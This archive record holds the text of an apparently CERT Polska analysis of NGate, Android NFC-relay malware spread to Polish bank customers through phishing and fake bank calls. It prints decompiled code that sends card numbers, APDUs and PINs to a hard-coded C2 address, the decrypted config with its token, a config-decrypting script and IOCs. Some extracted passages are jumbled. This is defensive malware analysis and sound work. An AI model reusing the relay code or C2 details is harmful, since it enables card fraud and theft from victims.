{
	"id": "fa86ae14-ff2b-495c-8f86-1e4661d340ca",
	"created_at": "2026-10-14T02:03:28.659438Z",
	"updated_at": "2026-10-14T02:05:55.837615Z",
	"deleted_at": null,
	"sha1_hash": "1a0b19adf7be0349f3711dc73444e5f52f7350f2",
	"title": "Analysis of NGate malware campaign (NFC relay)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 828433,
	"plain_text": "Archived: 2026-10-14 02:02:42 UTC\n\n(NGate) attack targeting users of Polish banks.\n\nBasic information\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nAnalysis of NGate malware campaign (NFC relay)\n\nCERT Polska has observed new samples of mobile malware in recent months associated with an NFC Relay\n\nThe campaign is designed to enable unauthorized cash withdrawals at ATMs using victims’ own payment cards.\n\nCriminals don’t physically steal the card; they relay the card’s NFC traffic from the victim’s Android phone to a\n\ndevice the attacker controls at an ATM.\n\nHow does that happen?\n\nInitial social engineering - The victim receives phishing messages (email/SMS) about e.g. a technical problem or\n\na security incident. A link leads to a page that nudges the victim to install an Android app. Sample which we have\n\nanalyzed was distributed via  files[.]fm/u/yfwsanu886\n\nPage 1 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nPage 2 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\n“Bank support” phone call - A scammer calls, posing as bank staff, to “confirm identity” and to justify the app.\n\nThe user also receives a SMS message confirming the identity of the alleged bank employee.\n\nPage 3 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nPage 4 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nPage 5 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nThe victim is prompted to verify their payment card directly within the app. This process requires them to place\n\nthe physical card against the phone (NFC) and subsequently enter the card PIN using an on-screen keypad. Below\n\nare screenshots illustrating this technique across multiple samples targeting various banks.\n\nPage 6 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nPage 7 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nPage 8 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nPage 9 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nPage 10 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nWhen the victim taps the card, the app captures the card’s NFC exchanges (the same data that flows at a\n\nterminal/ATM) and sends them over the internet to the attacker’s device standing at an ATM (or to C2 server\n\nwhich works as a proxy). The attacker’s device replays this data to the ATM. With the relayed card data + PIN, the\n\nattacker withdraws cash.\n\nWhat did we find in the analyzed sample?\n\na virtual card).\n\nWe decrypted that asset and recovered the live c2 endpoint:\n\nIP/port:  91.84.97.13:5653\n\nHow to protect yourself\n\nThe app registers itself as a Host Card Emulation (HCE) payment service on Android (so it can behave like\n\nIts server address and behavior are hidden in a small encrypted asset bundled with the app.\n\nThe UI includes a PIN pad; the PIN is sent together with the NFC data to the attacker.\n\nPage 11 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nDownload your bank application only from official application stores like Google Play Store or App Store.\n\nIf your bank calls you and informs you that something is wrong, hang up and call the bank back. This\n\nmethod verifies the authenticity of the call 100%.\n\nTechnical Analysis\n\nEvery Android application starts with an AndroidManifest.xml file. It defines the components of the application,\n\nincluding activities, services and permissions. In the context of analysis, the key information is to determine the\n\nstarting point of the application.\n\nManifest:\n\nstarting point\n\nPermissions\n\nHCE service\n\nandroid:resource=\"@xml/hce\"/\u003e\n\nterminal/reader communicates.\n\nProcess entry\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nExample AID declaration (abridged), note category=\"payment\": Implication: The app can be set as a payment HCE service, and will be invoked by the NFC stack when a\n\nWhen the APK is installed and the process starts (e.g., after a launcher/alias or service wakes it), the Java side\n\nboots a native helper library that loads and verifies runtime configuration. The entry point to that is the class\n\nrha.dev.me.util.Globals .\n\nstatic {\n\nSystem.loadLibrary(\"app\"); //libapp.so\n\n}\n\n/* renamed from: a */\n\npublic static String m29a() {\n\nIntent intent = new Intent(\"android.intent.action.MAIN\");\n\nintent.addCategory(\"android.intent.category.LAUNCHER\");\n\nString packageName = f476b.getPackageName();\n\nfor (ResolveInfo resolveInfo : queryIntentActivities) {\n\nif (resolveInfo.activityInfo.packageName.equals(packageName)) {\n\nreturn resolveInfo.activityInfo.name;\n\n}\n\n}\n\nreturn \"rha.dev.me.SuperMain\";\n\n}\n\n/* renamed from: b */\n\npublic static void m28b(Context context) {\n\nf476b = context;\n\ninit(context);\n\nloadNConfig(context, context.getAssets());\n\n}\n\nList queryIntentActivities = f476b.getPackageManager().queryIntentActivities(intent, 0);\n\nPage 13 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\npublic static native void init(Context context);\n\npublic static native void loadNConfig(Context context, AssetManager assetManager);\n\npublic static native boolean reader();\n\npublic static native boolean vts();\n\nThe application's core logic is initiated by  System.loadLibrary(\"app\"); , which loads  libapp.so  into the\n\nprocess. This native shared object is responsible for critical steps: it first derives a 32-byte key from the SHA-256\n\nhash of the APK signing certificate (DER). Using this key, it decrypts a hex blob retrieved from the application's\n\nassets/____  resource. The subsequent step involves parsing the text key-value pairs from this decrypted data,\n\ncompiling them into an internal configuration map.\n\nNotably, the code implements a defensive mechanism: should the decryption or parsing fail, the library executes a\n\ncallback into Java to disable the launcher—a behavior known as the  safeExit()  pattern. The configuration is\n\ntriggered by the Java method  m28b(Context) . This method first calls the native  init(context)  to set up\n\nessential shared state, logging, and internal thread locals, followed by the native call  loadNConfig(context,\n\ncontext.getAssets())  to begin the decryption process. In most builds,  m28b  is invoked very early—either from\n\nthe  Application.onCreate()  or the first  Activity.onCreate()  - to ensure the necessary communication socket\n\nis ready by the time the user is prompted to “verify card.”\n\nFurthermore, the native boolean flags  reader()  and  vts()  expose configuration bits (e.g.,  reader:=true ,\n\nmode:=card ), allowing the Java layer to dynamically determine which transport methods and NFC roles need to\n\nbe activated.\n\nNative config loader (libapp.so) into cleartext C2\n\nTwo native pieces matter: the key derivation and the config loader.\n\nKey derivation (JNI → SHA-256 of signing cert):\n\nThe decompiled function  get_cert_sha(JNIEnv*, unsigned char* out)  defines the process for key derivation.\n\nIt begins by calling  PackageManager.getPackageInfo(..., GET_SIGNATURES) . Next, it reads the first\n\nSignature.toByteArray()  and wraps the result using\n\nCertificateFactory(\"X.509\").generateCertificate(InputStream) . The function then calls\n\ncert.getEncoded()  and computes the hash using  MessageDigest(\"SHA-256\").digest(encodedCert) . Finally, it\n\ncopies the resulting 32 bytes into  out .\n\nTakeaway: the XOR key is exactly the SHA-256 of the app’s signing certificate (DER).\n\nDecryption and parsing of a config\n\n1.  AAssetManager_open(\"____\", AASSET_MODE_BUFFER)  - load ASCII-hex blob from  assets/____ .\n\n2.  hexToBytes()  - convert to binary ciphertext.\n\nPage 14 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\n3. XOR decrypt byte-by-byte with the 32-byte key (repeating every 32 bytes):  c for (i = 0; i \u003c len;\n\ni++) pt[i] = ct[i] ^ key[i \u0026 31];\n\n4. Parse plaintext line-by-line with  getline ; each line must be  key := value ; each pair is inserted into a\n\nconfigMap  and logged:  c I/AppCheck: Parsed host := 91.84.97.13\n\n5.  verifyCnf(env) ; if anything fails → call Java  safeExit()  (which disables the launcher).\n\nDecrypted config for this sample build:\n\nhost:=91.84.97.13\n\nport:=5653\n\nsharedToken:=c2458bfc-9cb4-4998-b814-d3686b0fe088\n\ntls:=false\n\nmode:=card\n\nreader:=true\n\nuniqueID:=395406\n\nttd:=1761668025\n\nOffline reproduction\n\n#apksigner verify --print-certs SGB.apk\n\n#Signer #1 certificate SHA-256 digest: b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709\n\nimport binascii, pathlib\n\nkey = bytes.fromhex(\"b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709\")\n\nct  = bytes.fromhex(pathlib.Path(r\"\\path\\to\\asset\\____\").read_text().strip())\n\npt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))\n\nprint(pt.decode(\"utf-8\", errors=\"replace\"))\n\nOpening the wire: host/port from JNI, framed protocol\n\nNetworking is wrapped in  Transport  (abstract socket factory) and  C0214a  (connection \u0026 threads). Note:\n\nhost/port come from JNI, i.e., the decrypted config.\n\n// rha.dev.p031me.net.transport.Transport (excerpt)\n\npublic abstract class Transport {\n\nprivate final String f412a = host();                 // JNI → \"91.84.97.13\"\n\nprivate final int    f413b = Integer.parseInt(port());// JNI → 5653\n\npublic static native String host();\n\npublic static native String port();\n\npublic boolean m67b() {                              // connect-once\n\nif (f414c != null || f415d) return false;\n\nf415d = true;\n\nf414c = mo0d(f412a, f413b);                      // open socket\n\nmo1c();                                          // TLS hook (unused if tls=false)\n\nPage 15 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nreturn true;\n\n}\n\nprotected abstract Socket mo0d(String host, int port);\n\nprotected abstract void   mo1c();\n\n}\n\nC0214a  spins up a send and a receive thread. That’s where the protocol shape is crystallized.\n\nOutbound (client→server):  len(4) | opcode(4) | body(len)\n\nInbound (server→client):  len(4) | body(len)  (the opcode lives inside the body as a field of ServerData)\n\n// p038y.C0256c — SendThread: exact wire format client→server\n\nvoid mo2c() {\n\nC0253c msg = (C0253c) this.f526b.m123d().take();\n\nout.writeInt(msg.m6a().length);   // int32 len (BE)\n\nout.writeInt(msg.m5b());          // int32 opcode (BE)\n\nout.write(msg.m6a());             // body\n\nout.flush();\n\n}\n\n// p038y.C0255b — ReceiveThread: server→client is just length + bytes\n\nvoid mo2c() {\n\nint len = in.readInt();\n\nif (len \u003e 104857600) throw new IOException(\"Invalid protocol length\");\n\nbyte[] body = new byte[len];\n\nin.readFully(body);\n\nthis.f526b.m120g(body);           // → NetMan.mo114b(byte[])\n\n}\n\nTransport selection (TCP vs TLS)\n\nThe app abstracts socket creation behind  Transport.d(host, port) . Two implementations exist:\n\n// z/a.java  — plain TCP used when tls=false\n\npublic final class a extends Transport {\n\n@Override\n\nprotected Socket d(String host, int port) throws IOException {\n\nreturn new Socket(host, port);\n\n}\n\n}\n\n// z/b.java  — TLS variant (not used in this sample)\n\npublic final class b extends Transport {\n\nPage 16 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\n@Override\n\nprotected Socket d(String host, int port) throws IOException {\n\nSSLSocketFactory f = (SSLSocketFactory) SSLSocketFactory.getDefault();\n\nSSLSocket s = (SSLSocket) f.createSocket(host, port);\n\ns.startHandshake();                    // pinning/custom TrustManager appears elsewhere\n\nreturn s;\n\n}\n\n}\n\nFrames are easy to signature on the wire, and because  tls=false , payloads are cleartext.\n\nThe dispatcher: NetMan’s role and opcode story\n\nNetMan  orchestrates the session: it serializes higher-level messages ( ServerData ) and reacts to server replies.\n\nThink of it as the “session brain”.\n\n// rha.dev.p031me.net.NetMan (excerpt) — the one true outbox\n\nprivate void m150H(ServerData.EnumC0219b op, byte[] data) {\n\nif (this.f402b == null) { /* queue until connected */ return; }\n\nbyte[] payload = new ServerData()\n\n.m74g(op)                                                // opcode\n\n.m73h(sharedToken())                                     // JNI token\n\n.m72i(Globals.reader() ? ServerData.EnumC0218a.TYPE_READER\n\n: ServerData.EnumC0218a.TYPE_EMITTER)\n\n.m75f(data != null ? data : new byte[0])                 // data blob\n\n.m71j();                                                 // native serialize\n\nthis.f402b.m117j(Integer.parseInt(uniqueID()), payload);     // → SendThread\n\n}\n\nInbound, the server blob is parsed back to  ServerData  (native).  NetMan  handles session sync, PIN validation,\n\nlist updates, kill-switch (hide app), etc., and arms a 7-second keepalive (OP_PING).\n\npublic void mo114b(byte[] body) {\n\nServerData m = ServerData.m76e(body);                // native parse\n\nswitch (m.m78c()) {\n\ncase OP_SYN:          m150H(ServerData.EnumC0219b.OP_ACK, null); break;\n\ncase OP_PIN_VALID:    InterfaceC0039c.f64h.mo184i(true);  break;\n\ncase OP_PIN_INVALID:  InterfaceC0039c.f64h.mo184i(false); break;\n\ncase OP_PSH:          InterfaceC0039c.f61e.mo184i(new C0160a(m.m79b())); break; // APDUs\n\ncase OP_SHUTDOWN_EMITTER: m134s(); m138o(); break;        // hide app \u0026 disconnect\n\n// ...\n\n}\n\nPage 17 of 21\n\nm155C(); // schedule OP_PING every 7s\n\n}\n\nNFC capture: reader mode\n\nAID).\n\n// p025m0.FragmentC0191s — shows card details once recognized\n\nprivate void m245w(C0068c c) {\n\nm248t(); // switch views\n\n// pick scheme image by AID\n\nthis.f332d.setRectTypeImage(\n\n);\n\n}\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nAlthough the APK contains a proper HCE service (card emulation), the decrypted config sets  reader=true ,\n\nwhich activates the reader path: the phone behaves as a reader to a real card tapped by the victim.\n\nThe  UI fragment  reveals that path clearly: once card metadata is known, it paints PAN, expiry, and scheme (by\n\nthis.f332d.setRectNumber(c.m460c());                     // PAN\n\nthis.f332d.setRectDate(AbstractC0161b.m316d(c.m461b())); // YYMM → MM/YY\n\nm260h(AbstractC0161b.m317c(((C0067b) c.m462a().get(0)).m467b()))\n\nprivate int m260h(String hexAid) {\n\n: hexAid.contains(\"A000000333\") ? R.drawable.union_pay_logo\n\n: R.drawable.logo_empty;\n\n}\n\nCardData  and emits O P_CARD_DISCOVERED :\n\nreturn hexAid.contains(\"A000000004\") ? R.drawable.mc          // Mastercard\n\n: hexAid.contains(\"A000000003\") ? R.drawable.visa_logo   // Visa\n\n: hexAid.contains(\"A000000658\") ? R.drawable.logo_mir    // MIR\n\nUnder the hood, an EMV parser fills a  C0068c  object (PAN, expiry, AIDs). When ready, NetMan wraps it into a\n\n// rha.dev.p031me.net.NetMan\n\npublic void m154D(byte[] bArr) {\n\nm150H(ServerData.EnumC0219b.OP_CARD_DISCOVERED, bArr);\n\n}\n\nWhat goes over the wire is explicit in  CardData : it includes PAN, AIDs, expiry, and (later) PIN.\n\n// rha.dev.p031me.net.c2s.CardData (excerpt)\n\npublic class CardData {\n\nprivate List\u003cString\u003e cardAids;\n\nprivate String cardNumber, expiration, pin;\n\nprivate Boolean pinConfirmed;\n\nPage 18 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\npublic byte[] m87l() {\n\nreturn toBytesNative(m97b(), (String[]) cardAids.toArray(new String[0]),\n\nm95d(), m96c(), m94e()); // ← pin included\n\n}\n\npublic native byte[] toBytesNative(String num, String[] aids,\n\nString pin, String exp, boolean confirmed);\n\n}\n\nPIN capture: from keypad to socket in one hop\n\nThe custom PIN pad captures digits into a specialized  EditText . Once the required length is reached (default 4),\n\nit publishes the full PIN string to an internal event bus.\n\n// rha.dev.p031me.pinlibrary.PinCodeField (excerpt)\n\npublic class PinCodeField extends EditText {\n\nclass C0222b implements TextWatcher {\n\npublic void afterTextChanged(final Editable e) {\n\nif (e.length() == PinCodeField.this.f429e) {     // default 4\n\nPinCodeField.this.postDelayed(() -\u003e {\n\nInterfaceC0039c.f62f.mo184i(e.toString()); // publish PIN\n\n}, 100L);\n\n}\n\n}\n\n}\n\n}\n\nThe networking side listens for that event and immediately exfiltrates the PIN as a dedicated opcode:\n\n// rha.dev.p031me.net.NetMan\n\npublic void m153E(String str) {\n\nm150H(ServerData.EnumC0219b.OP_PIN_REQ, str.getBytes(StandardCharsets.UTF_8));\n\n}\n\nThe server replies with  OP_PIN_VALID  /  OP_PIN_INVALID  (UI reacts), but by then the PIN has already left the\n\ndevice. Additionally, when the card blob is serialized (CardData.m87l()), the PIN field can be included there as\n\nwell.\n\nThe HCE service: proof of “emitter” capability\n\nno unlock requirement.\n\nEven though this sample runs as reader, it ships a fully declared HostApduService with a payment-like AID and\n\nPage 19 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nThe service logs and forwards inbound APDUs (as a relay end), returning an empty response:\n\n// rha.dev.p031me.nfc.hce.ApduService (excerpt)\npublic class ApduService extends HostApduService {\n@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {\nLog.d(\"ApduService\", \"APDU-IN: \" + AbstractC0161b.m319a(apdu));\nC0160a wrapped = new C0160a(false, false, apdu); // wrap APDU\nC0009i bus = C0009i.m547n();\nif (bus != null) bus.m545p(false, wrapped, this); // forward upstream\nreturn new byte[0]; // pure relay\n}\n}\n\nWhy does it matter? - the family can be deployed in two roles:\n\n1. Reader phone beside the victim (this build),\n\n2. Emitter phone at the ATM(HCE to the terminal), linked by the same opcode model - the classic NFC\n\nrelay topology.\n\nSummary\n\nNGate is a Android NFC relay kit used to cash out ATMs with victims’ own cards. It’s delivered via phishing plus\n\na “bank support” call that pressures the user to install an app, tap the card to the phone, and enter the PIN. The app\n\nruns in reader mode to capture EMV APDUs and the PIN, then exfiltrates them via a simple framed TCP protocol\n\nto a hard-coded C2; the same family also ships a payment-category HCE service, enabling an emitter role at the\n\nATM. Configuration is stored as an XOR-encrypted asset with a key derived from the APK signing cert (SHA-\n\n256), which in this sample resolves to a live, plaintext C2. Bottom line: once the card is tapped and the PIN is\n\nentered, the attacker can relay the session and withdraw cash.\n\nKey takeaways\n\nPage 20 of 21\n\nhttps://cert.pl/en/posts/2025/11/analiza-ngate/\n\nSocial engineering → sideloaded app → card tap + PIN → relay to ATM.\n\nRoles supported: Reader (victim’s phone) and Emitter (attacker’s phone/ATM side).\n\nConfig decrypted from assets/____ using SHA-256(cert) as the XOR key.\n\nCleartext framing on the wire (len|opcode|body), periodic keep-alives.\n\nWhat leaves the device: PAN, expiry, AIDs, APDUs, and PIN.\n\nIOC\n\n2cee3f603679ed7e5f881588b2e78ddc\n701e6905e1adf78e6c59ceedd93077f3\n2cb20971a972055187a5d4ddb4668cc2\nb0a5051df9db33b8a1ffa71742d4cb09\nbcafd5c19ffa0e963143d068c8efda92\n91.84.97.13:5653\nfiles[.]fm/u/yfwsanu886\n\nSource: https://cert.pl/en/posts/2025/11/analiza-ngate/\n\nPage 21 of 21",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://cert.pl/en/posts/2025/11/analiza-ngate/"
	],
	"report_names": [
		"analiza-ngate"
	],
	"threat_actors": [],
	"ts_created_at": 1791943408,
	"ts_updated_at": 1791943555,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1a0b19adf7be0349f3711dc73444e5f52f7350f2.pdf",
		"text": "https://archive.orkl.eu/1a0b19adf7be0349f3711dc73444e5f52f7350f2.txt",
		"img": "https://archive.orkl.eu/1a0b19adf7be0349f3711dc73444e5f52f7350f2.jpg"
	}
}